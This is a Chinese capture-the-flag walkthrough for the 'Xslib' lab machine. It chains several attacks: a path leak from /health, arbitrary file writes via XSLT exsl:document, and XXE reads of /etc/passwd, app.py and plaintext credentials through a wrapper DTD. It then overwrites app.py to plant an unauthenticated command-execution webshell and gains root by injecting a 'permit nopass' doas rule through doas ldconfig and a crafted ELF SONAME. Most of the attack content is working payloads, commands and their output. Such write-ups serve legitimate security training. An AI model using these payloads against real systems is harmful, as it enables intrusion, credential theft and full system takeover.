跳到主要内容

HackMyVM Xslib 通关记录|XSLT 任意文件写入、XXE 任意文件读取与 doas ldconfig 提权

靶机链接:Xslib


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Xslib192.168.1.112靶机 (Document Processing System)

攻击流程

点击展开

攻击链摘要

阶段关键操作 / 证据作用
端口扫描nmap -sV -p- -T4 192.168.1.112发现 22(OpenSSH 10.4) 与 5000(Werkzeug httpd 3.1.8 Python 3.14.5)
信息泄露GET /health未授权泄露绝对工作路径 /opt/web,确认 users.jsonuploads 存在
文件写入exsl:document href="file:///..."利用 lxml.etree 默认允许 EXSLT 扩展实现任意文件写入
文件读取XXE 外部参数实体 + 动态包装 DTD先写本地 DTD,再通过参数实体展开通用实体 &xxe; 读取任意文件
凭据与源码读取 users.jsonuser.txtapp.py获取 User Flag、momo 凭据并审计应用运行机制
命令执行覆盖 /opt/web/app.py 注入路由/opt/web/watch.sh 监控 app.py 变更,自动以 momo 身份重启 Flask 服务
Root 提权doas -n /sbin/ldconfig -- -v -o /etc/doas.d/xslib.conf /tmp/doas_soname.so利用 scanelf -o 将 ELF 的 SONAME 写入 OpenDoas 规则,实现无密码 root 提权

0x02 端口扫描与服务识别

对靶机进行全端口扫描与服务识别:

nmap -sV -p- -T4 192.168.1.112
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.4 (protocol 2.0)
5000/tcp open http Werkzeug httpd 3.1.8 (Python 3.14.5)
MAC Address: 0C:DD:24:76:71:18 (Intel Corporate)
  • 22/tcp:OpenSSH 10.4(支持密码与公钥认证)。
  • 5000/tcp:Python 3.14.5 / Werkzeug 3.1.8 构建的 Web 应用 “Document Processing System”。

0x03 /health 泄露工作目录

未授权访问 /health 接口获取服务运行状态:

curl -s http://192.168.1.112:5000/health
{"current_path":"/opt/web","files_count":0,"status":"healthy","upload_folder_exists":true,"users_count":1,"users_file_exists":true}

接口返回了关键上下文:

  • current_path: /opt/web(确认应用部署绝对路径)。
  • users_file_exists: true(当前目录下存在用户配置文件 users.json)。
  • upload_folder_exists: true(当前目录下存在上传目录 /opt/web/uploads)。

0x04 注册账户与登录认证

应用提供开放注册页面 /register,注册账号后登录进入 /dashboard

# 注册新用户 pentester
curl -s -X POST http://192.168.1.112:5000/register \
-d "username=pentester&email=pentester@test.com&password=P@ssw0rd123!&confirm_password=P@ssw0rd123!&terms=on" \
-c cookies.txt

登录后进入 /dashboard,系统提供 xml_filexsl_file 两个文件上传入口,上传后重定向到 /process/<file_id> 执行 XSLT 转换(源码节选,来自后文 0x07 读取的 app.py):

xml_tree = ET.parse(file_info['xml_path'])
xsl_tree = ET.parse(file_info['xsl_path'])
transformer = ET.XSLT(xsl_tree)
result = transformer(xml_tree)

0x05 XSLT 任意文件写入(exsl:document

在 Python 的 lxml.etree 库中,ET.XSLT(xsl_tree) 默认启用了 EXSLT 扩展,且未传入 access_control=ET.XSLTAccessControl(write_file=False)。因此,攻击者可以在 XSL 样式表中使用 exsl:document 将转换结果写入任意可写路径。

写入内容的 XML 转义

需要注意:XSL 样式表本身属于 XML 文档。为使 <exsl:document method="text"> 向目标文件写入真实的 <>&'" 等字符,需在 XSL 模板中对它们进行标准 XML 实体转义(&amp;&lt;&gt;&quot;&apos;)。XML 解析器在解析样式表时会先将这些实体还原为字面字符,随后 XSLT 文本模式即可将字面字符直接落盘;若在样式表中使用 <![CDATA[...]]> 包裹实体字符串,会阻止实体的求值替换,导致字面转义文本(如 &lt;)被原样写入文件。

测试写入载荷(xsl_write.xsl):

<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:output method="text"/>
<xsl:template match="/">
<exsl:document href="file:///tmp/test_write.txt" method="text">
hello from exsl:document
</exsl:document>
WRITE_OK
</xsl:template>
</xsl:stylesheet>

上传该 XSL 与任意基础 XML(如 <root/>)至 /upload 接口,后端成功在 /tmp/test_write.txt 写入指定内容。


0x06 XXE 参数实体 + 包装 DTD 任意文件读取

/process/<file_id> 处理过程中,直接在 XML 中声明外部通用实体(如 <!ENTITY xxe SYSTEM "file:///etc/passwd">)会被拒绝解析(报 Entity 'xxe' not defined),但解析器允许加载外部参数实体(%remote;)。

结合已获得的任意文件写入能力,可以构造“两步走”任意文件读取链:

  1. 第一步:使用 exsl:document 写入一个包装 DTD 文件(如 /tmp/xslib_wrap.dtd),在 DTD 内部通过参数实体将目标文件动态声明为通用实体 xxe
  2. 第二步:上传 XML 引用该本地 DTD,并在正文节点展开 &xxe;,后端通过 XSL 模板渲染输出文件内容。

1. 普通文本/配置读取(单引号包装)

对于 /etc/passwd/opt/web/users.json 等不含特殊 XML 闭合标签的文件,使用标准 DTD(wrap_read_passwd.dtd):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % define "<!ENTITY xxe '%file;'>">
%define;

XML 载荷:

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:///tmp/xslib_wrap.dtd">
%remote;
]>
<root><message>&xxe;</message></root>

2. 源码文件读取(CDATA + 双引号包装)

推荐使用 CDATA 包裹特殊字符源码

对于 Python 源码(如 /opt/web/app.py),代码中含有大量单引号、双引号及路由尖括号(如 <file_id>),若直接拼入实体会导致 DTD 解析崩溃。推荐使用 CDATA 分隔符与双引号包裹(wrap_read_app_cdata.dtd),确保解析器安全读取:

<!ENTITY % file SYSTEM "file:///opt/web/app.py">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % define '<!ENTITY xxe "%start;%file;%end;">'>
%define;

0x07 读取凭据与源码分析

使用自动化复现脚本 exploit.py 读取关键文件:

XSLIB_BASE="http://192.168.1.112:5000" python3 exploit.py

1. 读取 /opt/web/users.json

{
"momo": {
"password": "M0MO123!",
"email": "momo@Xslib.dsz",
"active": true
},
"pentester": {
"password": "P@ssw0rd123!",
"email": "pentester@test.com",
"active": true
}
}

得到管理员账户 momo 的 Web 端明文密码:M0MO123!

Web 凭据的适用范围

尝试将此凭据复用于 SSH 登录(ssh momo@192.168.1.112)会提示 Permission denied, please try again。虽然 SSH 服务端支持密码认证(支持 publickey,password,keyboard-interactive),但 users.json 中的密码仅属于 Web 应用层,未与 Linux 系统账户密码同步(系统 /etc/shadow 中为独立哈希)。因此无法通过 SSH 凭据复用直接获取会话,后续需通过 Web 漏洞实现命令执行。

2. 读取 /home/momo/user.txt

flag{user-aac270ec162e29f8359e8a68d65237b3}

成功捕获 User Flagflag{user-aac270ec162e29f8359e8a68d65237b3}

3. 读取 /opt/web/app.py

获取应用完整源码,确认无额外过滤器或安全沙箱。


0x08 覆盖 app.py 注入 WebShell 与 RCE

在系统进程枚举中发现,后台常驻运行着 /opt/web/watch.sh

#!/bin/sh
start_web() {
pkill -f "python3 app.py" 2>/dev/null
cd /opt/web
nohup python3 app.py >/dev/null 2>&1 &
}

start_web
inotifywait -m -e close_write,modify /opt/web/app.py | while read -r _; do
start_web
done

watch.sh 使用 inotifywait 监控 /opt/web/app.py 的写关闭与修改事件,一旦文件被修改,便自动以 momo 用户身份杀掉旧进程并重启 app.py

因此,直接通过 exsl:document 覆盖 /opt/web/app.py,在 if __name__ == '__main__': 前插入无认证命令执行路由:

@app.route("/__xslib_diag")
def __xslib_diag():
command = request.args.get("cmd", "id")
completed = subprocess.run(
command,
shell=True,
cwd="/opt/web",
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
timeout=15,
text=True,
)
return completed.stdout, 200, {
"Content-Type": "text/plain; charset=utf-8",
"X-Xslib-UID": str(os.getuid()),
}
代码节选与完整附件

上述代码为路由核心逻辑的简化节选。在配套利用脚本 app_backdoor.py 的完整实现中,还包含了首尾注释标记(用于精准定位替换与还原)、异常捕获保护、以及通过 ?reload=1 调用 os.execv 实现进程自主重载的逻辑(处理 inode 替换后旧 inotify 监听失效的边缘情况)。

覆盖动作可由辅助脚本 app_backdoor.py 自动完成:

XSLIB_BASE="http://192.168.1.112:5000" python3 app_backdoor.py install
[*] Logging in
[*] Reading /opt/web/app.py
[+] Backup: source/opt_web/app_before_backdoor.py (8454 bytes)
[*] Overwriting /opt/web/app.py (9534 bytes)
[*] Waiting for /__xslib_diag
[+] HTTP 200, remote uid=1000
uid=1000(momo) gid=1000(momo) groups=1000(momo)
Xslib
/opt/web

测试执行命令:

curl -s -G --data-urlencode 'cmd=id; uname -a' http://192.168.1.112:5000/__xslib_diag
uid=1000(momo) gid=1000(momo) groups=1000(momo)
Linux Xslib 7.1.5-0-stable #1-Alpine SMP PREEMPT_DYNAMIC 2026-07-28 18:09:33 x86_64 Linux

0x09 doas ldconfig 提权到 root

1. 枚举 doas 权限配置

在 Alpine Linux 中,默认使用 OpenDoas 替代 sudo。尝试直接读取 /etc/doas.conf 或使用 doas -l

curl -s -G --data-urlencode 'cmd=ls -la /etc/doas.conf; cat /etc/doas.conf' http://192.168.1.112:5000/__xslib_diag
-rw-r----- 1 root root 260 Jul 1 21:31 /etc/doas.conf
cat: can't open '/etc/doas.conf': Permission denied

可以看到 /etc/doas.conf 权限为 640 root:rootmomo 用户没有读权限;且 OpenDoas 不支持 sudo -l 风格的规则列表参数(执行 doas -l 会提示 unrecognized option: l)。

但 OpenDoas 提供了非交互模式参数 -n:若命令无需密码即可执行则返回 0,若未配置或需要密码则立即报错 doas: Operation not permitted(返回非 0)。因此可以通过遍历系统可执行文件进行免密探测:

curl -s -G --data-urlencode 'cmd=for bin in /bin/* /sbin/* /usr/bin/* /usr/sbin/*; do doas -n "$bin" --help >/dev/null 2>&1 && echo "ALLOWED: $bin"; done' \
http://192.168.1.112:5000/__xslib_diag
ALLOWED: /sbin/ldconfig

探测结果清晰显示:momo 拥有免密以 root 身份执行 /sbin/ldconfig 的权限。测试单独执行 doas -n /sbin/ldconfig 成功返回 0,而 doas -n id 则被拦截(doas: Operation not permitted)。

提权后复核的配置

在完成 root 提权后查看 /etc/doas.conf,证实原配置规则确为:

permit nopass momo as root cmd /sbin/ldconfig

2. 分析 /sbin/ldconfig 脚本

查看 /sbin/ldconfig 源码:

#!/bin/sh
scan_dirs() {
scanelf -qS "$@" | while read SONAME FILE; do
TARGET="${FILE##*/}"
LINK="${FILE%/*}/$SONAME"
case "$FILE" in
/lib/*|/usr/lib/*|/usr/local/lib/*) ;;
*) [ -h "$LINK" -o ! -e "$LINK" ] && ln -sf "$TARGET" "$LINK"
esac
done
return 0
}
# eat ldconfig options
while getopts "nNvXvf:C:r:" opt; do
:
done
shift $(( $OPTIND - 1 ))
[ $# -eq 0 ] || scan_dirs "$@"

分析该脚本的参数传递缺陷:

  1. 脚本使用 getopts 解析自身参数。当传入 -- 时,getopts 终止解析,后续所有参数直接放入 $@
  2. $@ 被直接传递给 scan_dirs,即作为参数拼接进 scanelf -qS "$@"
  3. scanelf 是 Pax-utils 的 ELF 扫描工具,支持 -o, --file <arg> 选项,用于将输出写入指定文件;同时 -v 选项会输出详细信息格式:<SONAME> <filepath>
  4. 因为 doas 执行整段脚本的有效身份为 root,所以 scanelf -o /etc/doas.d/xxx 将以 root 权限创建并写入任意文件。

3. 构造恶意 ELF 与 SONAME 注入

OpenDoas 支持在 /etc/doas.d/*.conf 下放置配置片段,且 # 之后为注释内容。

如果我们将一个 ELF 共享库的 DT_SONAME 指定为 permit nopass momo as root #,那么 scanelf -qS -v 扫描该库时的输出将为:

permit nopass momo as root # /tmp/doas_soname.so

当这行文本被写入 /etc/doas.d/xslib.conf 时,OpenDoas 会将其解析为:

  • 规则:permit nopass momo as root(允许 momo 免密执行任意 root 命令)
  • 注释:# /tmp/doas_soname.so

编译恶意动态库(doas_soname.c):

gcc -shared -fPIC -Wl,-soname,'permit nopass momo as root #' \
-o /tmp/doas_soname.so doas_soname.c

4. 传输恶意共享库并触发 Root 提权

由于无法通过 SSH 进行交互式文件传输,我们可以在本地攻击机(Kali)上编译好 ELF 动态库后,通过 WebShell 进行 Base64 回传写入靶机 /tmp 目录,并附带 MD5 完整性校验:

(1) 本地编译与 Base64 编码

在 Kali 攻击机上执行:

# 编译含特制 SONAME 的共享库
gcc -shared -fPIC -Wl,-soname,'permit nopass momo as root #' \
-o /tmp/doas_soname.so doas_soname.c

# 计算本地 MD5 校验和
md5sum /tmp/doas_soname.so
# 5a6a21f364b43e84a368ad587ce8f492 /tmp/doas_soname.so

# 提取单行 Base64 字符串
SO_B64=$(base64 -w0 /tmp/doas_soname.so)

(2) WebShell 回传并校验 MD5

通过 WebShell 将 Base64 解码写入靶机 /tmp/doas_soname.so,赋予执行权限并比对 MD5 校验和:

curl -s -G --data-urlencode "cmd=echo '$SO_B64' | base64 -d > /tmp/doas_soname.so && chmod 755 /tmp/doas_soname.so && md5sum /tmp/doas_soname.so" \
http://192.168.1.112:5000/__xslib_diag
5a6a21f364b43e84a368ad587ce8f492 /tmp/doas_soname.so

两端 MD5 完全一致,确认文件传输完整无损坏。

(3) 验证 scanelf 输出

在靶机上测试 scanelf 的解析结果:

curl -s -G --data-urlencode 'cmd=scanelf -qS -v /tmp/doas_soname.so' http://192.168.1.112:5000/__xslib_diag
permit nopass momo as root # /tmp/doas_soname.so

(4) 触发提权与获取 Root Flag

通过 doas -n /sbin/ldconfig 调用 scanelf -o 将该行规则写入 OpenDoas 目录:

# 触发 ldconfig 穿透参数,以 root 权限写入 OpenDoas 规则
curl -s -G --data-urlencode 'cmd=doas -n /sbin/ldconfig -- -v -o /etc/doas.d/xslib.conf /tmp/doas_soname.so' \
http://192.168.1.112:5000/__xslib_diag

检查写入的规则内容,并以 root 权限执行命令读取 Root Flag

curl -s -G --data-urlencode 'cmd=doas -n cat /etc/doas.d/xslib.conf; doas -n id; doas -n cat /root/root.txt' \
http://192.168.1.112:5000/__xslib_diag
permit nopass momo as root # /tmp/doas_soname.so
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
flag{root-9917eda0d060f9c4c9ebe09a2be2a596}

成功读取 Root Flag:flag{root-9917eda0d060f9c4c9ebe09a2be2a596}


0x0A 最终成果 (Final Flags)

User Flag

  • 路径: /home/momo/user.txt
  • 内容: flag{user-aac270ec162e29f8359e8a68d65237b3}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-9917eda0d060f9c4c9ebe09a2be2a596}

总结

阶段入口关键缺陷影响
信息泄露GET /health未授权泄露应用绝对工作路径获得绝对路径 /opt/web,为后续读写提供定位
文件写入POST /upload XSLTlxml.etree.XSLT 未配置 XSLTAccessControlexsl:document 允许任意文件写入
文件读取POST /upload XML/XSLTXML 解析器支持加载外部参数实体结合本地包装 DTD 实现无盲注任意文件读取
命令执行覆盖 /opt/web/app.pywatch.sh 监控源码修改自动重启 Flask 实例注入诊断路由获取 momo 权限 WebShell
权限提升doas /sbin/ldconfiggetopts 参数截断传递给 scanelf -oroot 身份任意文件写入,注入 OpenDoas 规则提权 root

0x0B 配套脚本

文件说明
doas_soname.c恶意 ELF 源码,DT_SONAME 设为 permit nopass momo as root #,编译后经 doas ldconfig 写入 doas 规则
xsl_write.xslexsl:document 任意文件写入 XSL 测试载荷
wrap_read_passwd.dtdXXE 参数实体包装 DTD,用于读取 /etc/passwd 等普通文本
wrap_read_app_cdata.dtdCDATA + 双引号实体包装 DTD,用于读取含引号/标签的 app.py 源码
exploit.py自动化复现脚本:自助注册、验证文件写入、读取目标文件(支持 XSLIB_BASE
read_app.py通过 XXE 包装 DTD 提取完整 /opt/web/app.py 的辅助脚本
app_backdoor.py覆盖 /opt/web/app.py 注入无认证 WebShell 并支持一键恢复
xslib_enum.py基于 XXE 报错预言机的文件与端点探测脚本
xslib_file_read.py批量目标文件读取辅助脚本
build_service_overwrite_xsl.py生成将 Base64 嵌合 ELF 与一键还原逻辑打包为单一 XSL 载荷的构建脚本